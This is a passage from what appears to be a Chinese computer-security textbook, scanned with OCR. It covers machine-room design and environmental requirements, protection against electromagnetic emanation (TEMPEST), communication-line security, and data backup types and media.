防 雷 击 

防 鼠 害 

防 电磁 泄漏 

注 :“ 十 "表示 要 求 ,“ 一 "表示 有 要 求 或 增加 要 求 。 


1 十 十 十 十 十 十 十 十 | 


2. 机 房 面积 要 求 

机 房 面 积 的 大 小 与 需要 安装 的 设备 有 关 , 另 外 还 要 考虑 人 在 其 中 工作 是 否 舒适 。 通 常 
机 房 面积 有 两 种 估算 方法 。 一 种 是 按 机 房 内 设备 总 面积 M 计算 。 计 算 公 式 如 下 : 

机 房 面 积 = (5 ~ 7)M(m’) 

这 里 的 设备 面积 是 指 设备 的 最 大 外 形 尺寸 ,要 把 所 有 的 设备 包括 在 内 ,如 所 有 的 计算 
机 、 网 络 设备 .I/O 设备 ,电源 设备 资料 柜 、 耗 材 柜 、 空 调 设备 等 。 系 数 5 一 7 是 根据 我 国 现 
有 机 房 的 实际 使 用 面积 与 设备 所 占 面积 之 间 关 系 的 统计 数据 确定 的 ,实际 应 用 时 要 受到 本 
单位 具体 情况 的 限制 。 

另 一 种 方法 是 根据 机 房 内 设备 的 总 数 进 行 机 房 面积 的 估算 。 假 设 设备 的 总 和 数 为 K， 
则 估算 公式 如 下 : 

机 房 面积 = (4.5 ~ 5.5)K (mê) 

在 这 种 计算 方法 中 ,估算 的 准确 与 否 和 各 种 设备 的 尺寸 是 否 大 致 相同 有 密切 关系 ,一 般 
的 参考 标准 是 按 台 式 计 算 机 的 尺寸 为 一 台 设备 进行 估算 。 如 果 一 台 设 备 占 地 面积 太 大 ,最 
好 将 它 按 两 台 或 多 台 台 式 计 算 机 来 计算 ,这 样 可 能 会 更 准确 。 系 数 4. 5 一 5. 5 也 是 根据 我 国 
具体 情况 的 统计 数据 确定 的 。 

3. 机 房 干 扰 防 护 要 求 

计算 机 系统 实体 是 由 电子 设备 ,机电 设 备 和 光 磁 材料 组 成 的 复杂 的 系统 , 较 易 受到 环境 
的 干扰 。 因 此 ,机 房 设计 需要 减少 各 种 干扰 。 干扰 的 来 源 主要 有 以 下 4 个 方面 : 噪声 干扰 、 
电气 干扰 、 电 磁 干 扰 和 气候 干扰 。 

一 般 而 言 ,微机 房 内 的 噪声 一 般 应 小 于 65d4B。 防 止 电气 干扰 的 根本 办 法 是 采用 稳定 、 
可 靠 的 电源 ,并 加 滤波 和 隔离 措施 。 在 设计 和 建造 机 房 时 ,必须 考虑 到 振动 和 冲击 的 影响 ， 
如 机 房 附 近 应 尽量 避免 振 源 、 冲 击 源 , 当 存 在 一 些 振动 较 强 的 设备 ,如 加 大 型 锻压 设备 和 冲 
床 时 ,应 采取 减 振 措施 。 而 抑制 电磁 干扰 的 方法 一 是 采用 屏蔽 技术 ,二 是 采用 接地 技术 。 减 
少 气候 干扰 的 措施 主要 是 保持 合适 的 温度 .湿度 和 洁净 度 ,以 满足 设备 的 最 佳 运行 状态 。 机 
房 的 温度 一 般 应 控制 在 21C 士 3C ,湿度 保持 在 40% 一 60%。 机 房 的 洁净 度 指标 如 
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表 2-2 所 示 。 洁 净 度 主要 是 指 悬 浮 在 空气 中 的 灰 侍 与 有 害 气 体 的 含量 ,灰尘 的 直径 
一 般 为 0.25 一 60pm。 
R22 机房 洁 净 度 指标 


洁净 度 洁净 度 流速 度 或 
洁净 T 正 压 值 | 温度 CC ) | 相对 湿度 | 噪声 (dB) 
等 级 >0.5pm | >spm | 换 气 次 数 (次 /s) 
3 3 一 0.25 
30 30 0. 23 50~80 
级 相差 
300 300 6.3 20 一 40 18~24 |40%~60%| <65 
20.5 
3000 3000 23 10~20 
30 000 30 000 230 10 


同时 ,需要 制定 合理 的 清洁 卫生 制度 ,禁止 在 机 房 内 吸烟 , 吃 东西 , 乱 扔 果皮 、 纸 悄 
等 。 机 房 内 严禁 存放 腐蚀 物质 ,以 防 计算 机 设备 受 大 气 腐蚀 .电化 腐蚀 或 直接 被 氧化 、 
腐蚀 、 生 锈 及 损坏 。 在 机 房 内 要 禁止 放 食物 ,以 防老 鼠 或 其 他 昆虫 损坏 电源 线 、 记 录 介 
质 及 设备 。 


2.1.2 机 房 环 境 安 全 措施 


1. 机 房 的 外 部 环境 安全 要 求 

机 房 场 地 的 选择 应 以 能 否 保证 计算 机 长 期 稳定 、 可 靠 、 安 全 地 工作 为 主要 目标 。 在 外 部 
环境 的 选择 上 ,应 考虑 环境 安全 性 .地 质 可 靠 性 ,场地 抗 电磁 干扰 性 ,应 避 开 强 振动 源 和 强 噪 
声 源 ,避免 设 在 建筑 物 的 高 层 以 及 用 水 设备 的 下 层 或 隔壁 。 同 时 ,应 尽量 选择 电力 ,水 源 充 
足 , 环 境 清 洁 , 交 通 和 通信 方便 的 地 方 。 对 于 机 要 部 门 信息 系统 的 机 房 , 还 应 考虑 机 房 中 的 
信息 射频 不 易 被 泄露 和 窃取 。 为 了 防止 计算 机 硬件 辆 射 造成 信息 泄露 ,机房 最 好 建设 在 单 
位 的 中 央 区 域 。 

2. 机 房 内 部 环境 安全 要 求 

(1) 机 房 应 为 专用 和 独立 的 房间 。 

(2) 经 常 使 用 的 进出 口 应 限于 一 处 ,以 便于 出 入 管理 。 

(3) 机 房 内 应 留 有 必要 的 空间 ,其 目的 是 确保 灾害 发 生 时 人 员 和 设备 的 撤离 。 

(4) 机 房 应 设 在 建筑 物 的 最 内 层 , 而 辅助 区 .工作 区 和 办 公用 房 应 设 在 其 外 围 。 

(5) 机 房 上 锁 ,废物 箱 、 碎 纸 机 、 输 出 机 上 锁 , 安 装 报警 系统 与 监控 系统 。 


2.2 设备 安全 


广义 的 设备 安全 包括 物理 设备 的 防盗 ,防止 自然 灾害 或 设备 本 身 原因 导致 的 毁坏 ,防止 
电磁 信息 辐射 导致 的 信息 的 泄露 ,防止 线路 截获 导致 的 信息 的 毁坏 和 算 改 , 抗 电磁 干扰 和 电 
源 保护 等 措施 。 狭 义 的 设备 安全 是 指 用 物理 手段 保障 计算 机 系统 或 网 络 系统 安全 的 各 种 
技术 。 
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2.2.1 硬件 设备 的 维护 和 管理 


计算 机 网 络 系统 的 硬件 设备 一 般 价 格 昂贵 ,一 旦 被 损坏 而 又 不 能 及 时 修复 ,可 能 会 产生 
严重 的 后 果 。 因 此 ,必须 加 强 对 计算 机 网 络 系统 硬件 设备 的 使 用 管理 ,坚持 做 好 硬件 设备 的 
日 常 维护 和 保养 工作 。 

1. 硬件 设备 的 使 用 管理 

严格 按 硬件 设备 的 操作 使 用 规程 进行 操作 。 建 立 设备 使 用 情况 日 志 , 并 登记 使 用 过 程 。 
建立 硬件 设备 故障 情况 登记 表 。 坚 持 对 设备 进行 例 行 维护 和 保养 ,并 指定 专人 负责 。 

2. 常用 硬件 设备 的 维护 和 保养 

常用 硬件 设备 的 维护 和 保养 包括 主机 、 显 示 器 打印机、 硬盘 的 维护 保养 ; 网 络 设备 如 
Hub, 交换 机 、 路 由 器 .Modem 、RJ45 接头 、 网 络 线 缆 等 的 维护 保养 ; 还 要 定期 检查 供电 系统 
的 各 种 保护 装置 及 地 线 是 否 正常 。 


2.2.2 硬件 防 辐射 技术 


“ 明 枪 易 躲 , 暗 箭 难 防 ”, 用 来 表示 人 们 在 考虑 问题 时 常常 会 对 某 些 可 能 发 生 的 问题 估计 
不 到 ,缺少 防范 心理 。 在 考虑 计算 机 信息 安全 问题 时 ,往往 也 会 出 现 这 种 情况 。 例 如 ,一些 
用 户 常 常 仅 会 注意 计算 机 内 存 、 硬 盘 、 软 盘 上 的 信息 泄露 问题 ,而 忽视 了 计算 机 通过 电磁 辐 
射 产生 的 信息 泄露 。 我 们 把 前 一 类 信息 泄露 称 为 信息 的 “ 明 ” 汇 露 ,后 一 类 信息 泄露 称 为 信 
息 的 “ 暗 ” 汇 露 。 

实验 表明 ,普通 计算 机 的 显示 器 辐射 的 屏幕 信息 可 以 在 几 百 米 到 一 千 多 米 的 范围 内 用 
测试 设备 清楚 地 再 现 出 来 。 实 际 上 ,计算 机 的 CPU 芯片 .键盘 、 磁 盘 驱 动 器 和 打印 机 在 运 
行 过 程 中 都 会 向 外 辐射 信息 。 要 防止 硬件 向 外 辐射 信息 ,必须 了 解 计算 机 各 个 部 件 泄露 的 
原因 和 程度 ,然后 采取 相应 的 防护 措施 。 

1. 计算 机 设备 的 一 些 防 泄露 措施 

对 计算 机 与 外 部 设备 究竟 要 采取 哪些 防 泄露 措施 ,要 根据 计算 机 中 信息 的 重要 程度 而 
定 。 对 于 企业 而 言 ,需要 考虑 这 些 信息 的 经 济 效 益 ; 对 于 军队 而 言 ,需要 考虑 这 些 信 息 的 保 
密级 别 。 在 选择 保密 措施 时 ,不 应 该 花费 100 万 元 去 保护 价值 10 万 元 的 信息 。 下 面 是 一 些 
常用 的 防 泄露 措施 。 

(1) 整体 屏蔽 。 对 于 需要 高 度 保密 的 信息 ,如 军事 部 门 ,政府 机 关 和 驻 外 使 馆 的 信息 网 
络 , 应 该 将 信息 网 络 的 机 房 整 体 屏蔽 起 来 。 具 体 的 方法 是 采用 金属 网 把 整个 房间 屏蔽 起 来 ， 
为 了 保证 良好 的 屏蔽 效果 ,金属 网 接地 要 良好 ,要 经 过 严格 的 测试 验收 。 整 个 房间 屏蔽 的 费 
用 比较 高 ,如 果 用 户 承担 不 起 ,可 以 采用 设备 屏蔽 的 方法 ,把 需要 屏蔽 的 计算 机 和 外 部 设备 
放 在 体积 较 小 地 屏蔽 箱 内 ,该 屏蔽 箱 要 很 好 地 接地 。 对 于 从 屏蔽 箱 内 引出 的 导线 也 要 套 上 
金属 屏蔽 网 。 

(2) 距离 防护 。 让 机 房 远离 可 能 被 监测 的 地 点 ,这 是 因为 计算 机 辆 射 的 距离 有 一 定 限 
制 。 对 于 一 个 单位 而 言 ,机房 应 尽量 建 在 单位 辖区 的 中 央 地 区 。 若 一 个 单位 辖区 的 半径 少 
于 300m, 距 离 防护 的 效果 就 很 有 限 。 

(3) 使 用 干扰 器 。 在 计算 机 旁边 放置 一 个 辐射 干扰 器 ,不 断 地 向 外 辐射 干扰 电磁 波 , 该 
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电磁 波 可 以 扰乱 计算 机 发 出 的 信息 电磁 波 , 使 远 处 监测 设备 无 法 还 原 计 算 机 信号 。 挑 选 干 
扰 器 时 要 注意 干扰 器 的 带宽 是 否 与 计算 机 的 辐射 带宽 相近 ,否则 起 不 到 干扰 作用 ,这 需要 通 
过 测试 验证 。 

(4) 利用 铁 氧 体 磁 环 。 在 屏蔽 的 电缆 线 的 两 端 套 上 铁 氧 体 磁 环 可 以 进一步 减少 电缆 的 
辐射 强度 。 


2. TEMPEST 标准 

防 信息 辐射 泄露 技术 (Transient Electro Magnetic Pulse Emanations Standard 
Technology,TEMPEST) 主 要 研究 与 解决 计算 机 和 外 部 设备 工作 时 因 电磁 辐射 和 传导 产生 
的 信息 外 露 问题 。 为 了 评估 计算 机 设备 的 辐射 泄露 的 严重 程度 ,评价 TEMPEST 设备 的 性 
能 好 坏 ,制定 相应 的 评估 标准 是 必要 的 。TEMPEST 标准 中 一 般 包 含 规定 计算 机 设备 电磁 
泄露 的 极限 和 规定 对 辐射 泄露 的 方法 与 设备 。Tempest 技术 研究 内 容 主 要 有 以 下 几 个 
方面 。 

(1) 电磁 泄露 机 理 。 有 用 信息 是 通过 何 种 途径 、 以 何 种 方式 载荷 到 辐射 信号 上 去 的 ,以 
及 信息 处 理 设备 的 电气 特性 和 物理 结构 对 泄露 的 影响 等 。 

(2) 信息 辐射 泄露 的 防护 技术 。 电 气 元 件 . 电 路 的 布局 .设备 结构 . 连 线 和 接地 对 辆 射 
泄露 的 影响 .各 种 屏蔽 材料 .屏蔽 结构 的 屏蔽 效果 等 。 

(3) 有 用 信息 的 提取 技术 。 包 括 信 号 接收 和 还 原 技术 。 

(4) 测试 技术 和 标准 。 测 试 的 内 容 、 方 法 、 要 求 ,条件 ,仪器 及 结果 分 析 ,制定 测 试 标准 。 


2.2.3 通信 线路 安全 技术 


如 果 所 有 的 系统 都 固定 在 一 个 封闭 的 环境 里 ,而 且 所 有 连接 到 系统 的 网 络 和 连接 到 系 
统 的 终端 都 在 这 个 封闭 的 环境 里 ,那么 该 通信 线路 是 安全 的 。 但 是 ,通信 网 络 业 的 快速 发 展 
使 得 上 述 假设 无 法 成 为 现实 。 因 此 , 当 系 统 的 通信 线路 暴露 在 这 个 封闭 的 环境 外 时 ,问题 便 
会 随 之 而 来 。 虽 然 从 网 络 通信 线路 上 提取 信息 所 需要 的 技术 比 从 终端 通信 线路 获取 数据 的 
技术 要 高 出 几 个 数量 级 ,但 这 种 威胁 始终 是 存在 的 ,而 且 这 样 的 问题 还 会 发 生 在 网 络 的 连接 
设备 上 。 

用 一 种 简单 但 很 昂贵 的 新 技术 给 电缆 加 压 , 可 以 获得 通信 的 物理 安全 ,这 一 技术 是 为 美 
国电 话 的 安全 而 开发 的 。 将 通信 电缆 密封 在 塑料 中 , 深 埋 于 地 下 ,并 在 线 的 两 端 加 压 。 线 上 
连接 了 带 有 报警 器 的 显示 器 ,用 来 测量 压力 。 如 果 压 力 下 降 , 则 意味 着 电缆 可 能 被 破坏 , 维 
修 人 员 将 被 派出 去 维修 出 现 问题 的 电缆 。 

电缆 加 压 技术 提供 了 安全 的 通信 线路 。 不 是 将 电缆 埋 在 地 下 ,而 是 架 线 于 整 座 楼 中 ,每 
寸 电 缆 都 暴露 在 外 。 如 果 任何 人 企图 割 电 线 , 监 视 器 会 自动 报警 ,通知 安全 保卫 人 员 电 绕 有 
可 能 被 破坏 。 如 果 有 人 成 功 地 在 电缆 上 接 上 了 自己 的 通信 设备 ,安全 人 员 定 期 检查 电缆 的 
总 长 度 , 就 会 发 现 电缆 的 拼接 处 。 加 压 电缆 是 屏蔽 在 波纹 铝 钢 包皮 中 的 ,因此 几乎 没有 电磁 
辐射 ,如 果 要 用 电磁 感应 窃 密 ,势必 会 动用 大 量 可 见 的 设备 ,因此 很 容易 被 发 觉 。 

光纤 通信 线 曾 被 认为 是 不 可 搭 线 窃听 的 ,因为 其 断裂 或 者 破坏 处 会 立即 被 检测 到 ,拼接 
处 的 传输 会 缓慢 得 令 人 难以 忍受 。 光 纤 没 有 电磁 辐射 ,所 以 也 不 可 能 有 电磁 感应 窃 密 , 但 光 
纤 的 最 大 长 度 是 有 限制 的 ,长 于 这 一 最 大 长 度 的 光纤 系统 必须 定期 地 放大 信号 ,这 就 需要 将 
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信号 转换 成 电 脉冲 ,然后 再 恢复 成 光 脉 冲 , 继 续 通 过 另 一 条 线 传 送 。 完 成 这 一 操作 的 设备 
(复制 器 ) 是 光纤 通信 系统 的 安全 薄弱 环节 ,因为 信号 可 能 在 这 一 环节 被 搭 线 窃 听 。 有 两 个 
办 法 可 以 解决 这 个 问题 : 距离 大 于 最 大 长 度 限 制 的 系统 间 ,不 要 用 光纤 通信 (目前 ,网 络 覆 
盖 范 围 半 径 约 为 100km); 加 强 复制 器 的 安全 (如 用 加 奈 电 缆 、 警 卫 报警 系统 等 ) 。 


2.3 媒体 安全 


媒体 安全 主要 包括 媒体 数据 的 安全 及 媒体 本 身 的 安全 ,如 预防 删除 文件 .格式 化 硬盘 、 
线路 拆除 ,意外 玻 漏 等 操作 失误 导致 的 安全 威胁 。 数 据 备份 是 实现 媒体 安全 的 主要 技术 。 


2.3.1 数据 备份 


1. 数据 备份 的 概念 

数据 备份 是 把 文件 或 数据 库 从 原来 存储 的 地 方 复制 到 其 他 地 方 的 操作 ,其 目的 是 为 了 
在 设备 发 生 故 障 或 发 生 其 他 威胁 数据 安全 的 灾害 时 保护 数据 ,将 数据 遭受 破坏 的 程度 减 到 
最 小 。 数 据 备份 通常 是 那些 拥有 大 型 机 的 大 企业 的 日 常事 务 之 一 ,也 是 中 小 型 企业 系统 管 
理 员 每 天 必 做 的 工作 之 一 。 对 于 个 人 计算 机 用 户 ,数据 备份 也 是 非常 必要 的 ,只 不 过 通常 都 
被 人 们 忽略 了 。 取 回 原先 备份 的 文件 的 过 程 称 为 恢复 数据 。 

数据 备份 跟 数据 压缩 从 信息 论 的 观点 上 来 看 是 完全 相反 的 两 个 概念 。 数 据 压缩 通过 减 
少数 据 的 元 余 度 来 减少 数据 在 存储 介质 上 所 占用 的 存储 空间 ,而 数据 备份 则 通过 增加 数据 
的 宛 余 度 来 达到 保护 数据 安全 的 目的 。 

虽然 数据 备份 跟 数 据 压 缩 在 信息 论 的 观点 上 互 不 相同 ,但 在 实际 应 用 中 却 常 常 将 它们 
结合 起 来 使 用 。 通 常 将 所 要 备份 的 数据 先进 行 压缩 处 理 , 然 后 再 将 压缩 后 的 数据 用 备份 手 
段 进行 保护 。 当 原先 的 数据 失效 或 受 损 需要 恢复 数据 时 , 先 将 备份 数据 用 备份 手段 相对 应 
的 恢复 方法 进行 恢复 ,然后 再 将 恢复 后 的 数据 解压 缩 。 在 现代 计算 机 常用 的 备份 工具 中 , 绝 
大 多 数 都 结合 了 数据 压缩 和 数据 备份 技术 。 

2. 数据 备份 的 重要 性 

计算 机 中 的 数据 通常 是 非常 宝贵 的 。 下 面 的 一 组 数据 仅 就 文本 数据 的 输入 价值 (没有 
考虑 数据 本 身 的 重要 性 ) 来 说 明 数据 宝贵 这 一 观点 。 一 个 存储 容量 为 80MB 的 硬盘 可 以 存 
放大 约 28 000 页 用 键盘 输入 的 文本 。 如 果 这 些 文本 的 数据 都 丢失 了 将 意味 着 什么 呢 ? 按 每 
页 大 约 350 个 单词 计数 ,这 将 花费 一 个 打字 员 ( 每 分 钟 输入 75 个 单词 ) 用 2177 个 小 时 来 重 
新 输入 这 些 文本 , 按 每 小 时 30 元 钱 的 工资 计算 ,这 需要 65 310 元 。 备 份 80MB 的 数据 在 现 
在 的 大 部 分 计算 机 系统 上 大 约 只 需要 5 分 钟 。 

计算 机 中 的 数据 是 非常 脆弱 的 ,在 计算 机 上 存放 重要 数据 如 同 大 象 在 薄 冰 上 行走 一 样 
不 安全 。 计 算 机 中 的 数据 每 天 经 受 着 许 许多 多 不 利 因素 的 考验 ,计算 机 病毒 可 能 会 感染 计 
算 机 中 的 文件 ,并 吞噬 掉 文件 中 的 数据 。 安 放 计算 机 的 机 房 ' 可 能 因 不 正确 使 用 电 而 发 生火 
灾 , 也 有 可 能 因 水 龙头 漏水 导致 一 片 汪洋 ; 计算 机 还 可 能 会 遭 到 恶意 黑客 的 入 侵 , 如 在 计算 
机 上 执行 Format( 格 式 化 ) 命 令 ; 计算 机 中 的 硬盘 由 于 是 半导体 器 件 还 可 能 被 磁化 而 不 能 
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正常 使 用 ; 计算 机 还 有 可 能 由 于 被 不 太 熟 悉 计算 机 的 人 误 操作 或 者 用 户 自 己 的 误 操 作 而 丢 
失重 要 数据 。 所 有 这 些 都 会 导致 数据 损坏 甚至 完全 丢失 。 

计算 机 中 可 能 有 一 些 私人 信件 、 重 要 的 金融 信息 、 通 信 录 、 文 档 、 程 序 等 ,显然 ,这 些 数 
据 中 的 任何 一 个 委 失 都 会 让 人 头痛 不 已 。 重 新 整理 这 些 数据 的 代价 是 非常 高 的 ,有 时 甚至 
是 不 可 能 完成 的 任务 , 所 以 一 定 要 将 重要 的 数据 进行 备份 。 

数据 备份 能 够 用 一 种 增加 数据 存储 代价 的 方法 保护 数据 的 安全 , 对 于 一 些 拥有 重要 数 
据 的 大 公司 来 说 尤为 重要 。 很 难 想象 银行 的 计算 机 中 存放 的 数据 在 没有 备份 的 情况 下 丢失 
将 会 造成 什么 样 的 混乱 局 面 。 数 据 备份 能 在 较 短 的 时 间 内 用 很 小 的 代价 ,将 有 价值 的 数据 
存放 到 与 初始 创建 的 存储 位 置 相 异 的 地 方 ,在 数据 被 破坏 时 ,再 在 较 短 的 时 间 和 非常 小 的 代 
价 花费 下 将 数据 全 部 恢复 或 部 分 恢复 。 

3. 优秀 备份 系统 应 满足 的 原则 

不 同 的 应 用 环境 要 求 不 同 的 解决 方案 来 适应 。 一 般 来 说 ,一 个 完善 的 备份 系统 需要 满 
足以 下 原则 。 

(1) 稳定 性 。 备 份 产品 的 主要 作用 是 为 系统 提供 一 个 数据 保护 的 方法 ,于 是 该 产品 本 
身 的 稳定 性 和 可 靠 性 就 变 成 了 最 重要 的 一 个 方面 。 首 先 ,备份 软件 一 定 要 与 操作 系统 
100% 兼 容 ; 其 次 , 当 事 故 发 生 时 ,能 够 快速 有 效 地 恢复 数据 。 

(2) 全 面 性 。 在 复杂 的 计算 机 网 络 环境 中 ,可 能 会 包括 各 种 操作 平台 ,如 UNIX、 
NetWare, Windows NT、VMS 等 ,并 安装 有 各 种 应 用 系统 ,如 ERP、 数 据 库 、 集 群 系统 等 。 
选用 的 备份 系统 ,要 支持 各 种 操作 系统 、 数 据 库 和 典型 应 用 。 

(3) 自动 化 。 很 多 单位 由 于 工作 性 质 , 对 何 时 备份 ,用 多 长 时 间 备 份 都 有 一 定 的 限制 。 
在 下 班 时 间 , 系 统 负荷 轻 , 适 于 备份 ,可 是 这 会 增加 系统 管理 员 的 负担 ,由 于 精神 状态 等 原 
因 ,还 会 给 备份 安全 带 来 潜在 的 隐患 。 因 此 ,备份 方案 应 能 提供 定时 的 自动 备份 ,并 利用 磁 
带 库 等 技术 进行 自动 换 带 。 在 自动 备份 过 程 中 ,还 要 有 日 志 记录 功能 ,并 在 出 现 异 常情 况 时 
自动 报警 。 

(4) 高 性 能 。 随 着 业务 的 不 断 发 展 ,数据 越 来 越 多 ,更 新 越 来 越 快 ,在 休息 时 间 来 不 及 
备份 如 此 多 的 内 容 , 在 工作 时 间 备份 又 会 影响 系统 性 能 。 这 就 要 求 在 设计 备份 时 ,尽量 考虑 
到 提高 数据 备份 的 速度 ,利用 多 个 磁带 机 并 行 操 作 的 方法 。 

(5) 操作 简单 。 数 据 备份 应 用 于 不 同 领域 ,进行 数据 备份 的 操作 人 员 也 处 于 不 同 的 层 
次 。 这 就 需要 一 个 直观 的 、 操 作 简单 的 图 形 化 用 户 界面 ,缩短 操作 人 员 的 学 习 时 间 ,减轻 操 
作 人 员 的 工作 压力 ,使 备份 工作 得 以 轻松 地 设置 和 完成 。 

(6) 实时 性 。 有 些 关键 性 的 任务 是 要 24 小 时 不 停机 运行 的 ,在 备份 的 时 候 , 有 一 些 文 
件 可 能 仍然 处 于 打开 的 状态 ,那么 在 进行 备份 的 时 候 , 要 采取 措施 ,实时 地 查看 文件 大 小 、 进 
行事 务 跟 踪 ,以 保证 正确 地 备份 系统 中 的 所 有 文件 。 

(7) 容错 性 。 数 据 是 备份 在 磁带 上 的 ,对 磁带 进行 保护 ,并 确认 备份 磁带 中 数据 的 可 靠 
性 ,这 也 是 一 个 至 关 重 要 的 方面 。 如 果 引 入 RAID 技术 .对 磁带 进行 镜像 ,就 可 以 更 好 地 保 
证 数据 安全 可 靠 , 给 用 户 数 据 再 加 一 把 保险 锁 。 

4. 数据 备份 的 种 类 

数据 备份 按照 备份 时 所 备份 数据 的 特点 可 以 分 为 3 种 : 完全 备份 、 增 量 备 份 和 差分 
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备份 。 

(1) 完全 备份 即 对 系统 中 全 部 需要 备份 的 数据 与 文件 做 备份 ,在 备份 系统 中 存放 的 数 
据 是 最 新 的 。 完 全 备份 的 优点 是 备份 与 恢复 的 操作 比较 简单 ,数据 恢复 所 需 的 时 间 最 短 , 相 
对 来 说 也 最 为 可 靠 。 此 种 备份 策略 的 缺点 在 于 ,需要 备份 的 数据 量 最 大 ,消耗 的 存储 空间 最 
多 ,备份 过 程 也 最 慢 。 

C2) 增 量 备份 则 是 指 仅 对 上 一 次 备份 以 后 更 新 的 数据 做 备份 。 此 种 备份 策略 的 优点 是 
每 次 需要 备份 的 数据 量 小 ,消耗 存储 空间 小 ,备份 所 需 时 间 短 。 其 缺点 首先 是 备份 与 恢复 的 
操作 都 较为 复杂 ,备份 时 需要 区 分 哪些 数据 被 修改 过 ,恢复 时 首先 也 需要 一 次 完全 备份 作为 
基础 ,然后 依照 一 次 次 的 增 量 备份 ,逐渐 将 系统 数据 恢复 到 最 后 一 次 备份 时 的 水 准 。 

G) 差分 备份 的 处 理 则 是 备份 上 一 次 完全 备份 以 来 更 新 的 所 有 数据 。 恢 复 时 需要 最 近 
一 次 完全 备份 数据 和 最 近 一 次 差分 备份 的 数据 即 可 。 此 种 备份 的 优 缺 点 介 于 完全 备份 和 增 
量 备份 之 间 。 

总 的 来 说 ,这 3 种 备份 分 别 适 于 不 同情 况 的 应 用 场合 。 完 全 备份 最 适 于 日 常 更 新 大 ,总 
数据 量 不 大 的 情况 。 而 对 于 总 数据 量 很 大 ,日 常 更 新 相对 小 的 系统 可 以 根据 情况 选择 增 量 
备份 或 者 差分 备份 : 每 隔 一 周 或 更 长 时 间 做 一 次 完全 备份 ,每 隔 若 干 小 时 或 一 天 做 一 次 增 
量 备份 或 差分 备份 。 

5. 数据 备份 计划 

IT 专家 指出 ,对 于 重要 的 数据 来 说 ,有 一 个 清楚 的 数据 备份 计划 非常 重要 , 它 能 清楚 地 
显示 数据 备份 过 程 中 所 做 的 每 一 步 重 要 工作 。 

数据 备份 计划 分 以 下 几 步 完成 。 

第 1 步 : 确定 数据 将 受到 的 安全 威胁 。 完 整 考察 整个 系统 所 处 的 物理 环境 和 软件 环 
境 , 分 析 可 能 出 现 的 破坏 数据 的 因素 。 

第 2 步 : 确定 敏感 数据 。 对 系统 中 的 数据 进行 挑选 分 类 , 按 重 要 性 和 潜在 的 遭受 破坏 
的 可 能 性 划分 等 级 。 

第 3 步 : 对 将 要 进行 备份 的 数据 进行 评估 。 确 定 初 始 时 采用 不 同 的 备份 方式 (完全 备 
份 \ 增 量 备份 和 差分 备份 ) 备 份 数 据 占据 存储 介质 的 容量 大 小 ,以 及 随 着 系统 的 运行 备份 数 
据 的 增长 情况 ,以 此 确定 将 要 采取 的 备份 方式 。 

第 4 步 : 确定 备份 所 采取 的 方式 及 工具 。 根 据 第 三 步 的 评估 结果 ,数据 备份 的 财政 预 
算 和 数据 的 重要 性 ,选择 一 种 备份 方式 和 备份 工具 。 

第 5 步 : 配备 相应 的 硬件 设备 ,实施 备份 工作 。 


2.3.2 数据 备份 的 常用 方法 


根据 数据 备份 所 使 用 的 存储 介质 种 类 可 以 将 数据 备份 方法 分 为 软盘 备份 .磁带 备份 .可 
移动 存储 备份 .可 移动 硬盘 备份 .本 机 多 硬盘 备份 和 网 络 备份 等 。 选 择 备份 方法 最 重要 的 一 
个 参考 因素 是 数据 大 小 和 存储 介质 大 小 的 匹配 性 。 

1. 软盘 备份 

软盘 备份 的 速度 非常 慢 ,比较 不 可 靠 ,而 且 其 容量 非常 小 (即使 在 1GB 的 硬盘 的 使 用 时 
代 都 显得 太 小 了 )。 软 盘 备 份 常常 用 来 备份 那些 并 不 是 很 关键 的 数据 ,因为 存放 在 里 面 的 数 
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据 常 常会 因为 系统 错误 而 不 能 读 取 。 

2. 磁带 备份 

从 许多 角度 上 看 ,磁带 备份 还 是 比较 合适 的 数据 备份 方法 。 磁 带 备份 的 优点 有 以 下 几 
个 方面 。 

(1) 容量 。 硬 盘 的 容量 越 来 越 大 ,磁带 可 能 是 唯一 的 和 最 经 济 的 能 够 容纳 下 硬盘 所 有 
数据 的 存储 介质 。 

(2) 费用 。 无 论 是 磁带 驱动 器 还 是 能 存放 数据 的 磁带 ,其 价格 都 还 稍 显 昂贵 。 个 人 计 
算 机 用 户 最 少 要 花费 上 千 元 来 适当 地 、 可 靠 地 备份 若干 个 吉 字 节 的 数据 。 

(3) 可 靠 性 。 在 正确 维护 磁带 驱动 器 和 小 心 保管 磁带 的 前 提 下 ,磁带 备份 一 般 来 说 还 
是 比较 可 靠 的 。 

(4) 简单 性 和 通用 性 。 现 在 有 许多 磁带 驱动 器 ,同时 也 有 各 种 各 样 的 软件 产品 ,软件 产 
品 很 好 地 支持 了 硬件 产品 ,使 安装 和 使 用 磁带 设备 非常 简单 。 不 同 磁带 驱动 器 之 间 的 兼容 
性 也 很 好 ,它们 大 多 数 都 遵循 一 定 的 国际 标准 。 

当然 ,磁带 备份 离 完美 的 备份 相差 还 是 很 远 的 。 价 格 较 贵 一 点 的 和 价格 较 低 一 点 的 磁 
带 驱 动 器 在 可 靠 性 上 差别 很 大 。 在 许多 情况 下 ,磁带 备份 的 性 能 也 不 是 很 卓越 ,尤其 是 要 随 
机 存 取 磁 带 上 的 某 个 特定 文件 的 时 候 (磁带 在 顺序 存 取 的 时 候 工作 得 很 好 ) 。 现 在 , 像 DLT 
这 样 的 高 端 磁 带 驱 动 器 实际 上 已 经 有 了 非常 好 的 性 能 ,但 价格 不 菲 。 

3. 可 移动 存储 备份 

可 移动 存储 设备 因 性 价 比 高 而 备 受 人 们 青睐 。 可 移动 存储 设备 有 许多 种 ,下 面 给 出 几 
种 常见 的 类 型 。 

(1) 大 容量 等 价 软盘 驱动 器 (Large Floppy Disk Equivalent Drive)。 市 场 上 这 种 驱动 
器 的 典型 代表 有 Iomega Zip 驱动 器 .Syquest's EZ135,LS120 120 MB 软盘 驱动 器 等 。 这 些 
大 容量 软盘 驱动 器 对 于 备份 小 容量 的 硬盘 数据 比较 有 效 , 但 是 对 于 大 容量 硬盘 (160GB 以 
上 ) 却 无 能 为 力 。 青 者 ,虽然 这 些 大 容量 软盘 驱动 器 的 可 靠 性 很 好 ,但 是 它们 常常 是 专用 的 ， 
通用 性 并 不 是 很 好 。 这 些 大 容量 软盘 驱动 器 的 平均 性 能 较 差 。 

(2) 可 移动 等 价 硬盘 驱动 器 (Removable Hard Disk Equivalent Drives)。 常 见 的 这 类 
设备 有 Iomega's Jaz 驱动 器 ,Syquest's SyJet 等 。 这 些 驱 动 器 非常 适合 用 来 完成 更 大 容量 
的 备份 任务 ,通常 比 那些 小 的 驱动 器 有 更 高 的 性 能 、 更 昂贵 的 价格 和 更 好 的 可 靠 性 。 美 中 不 
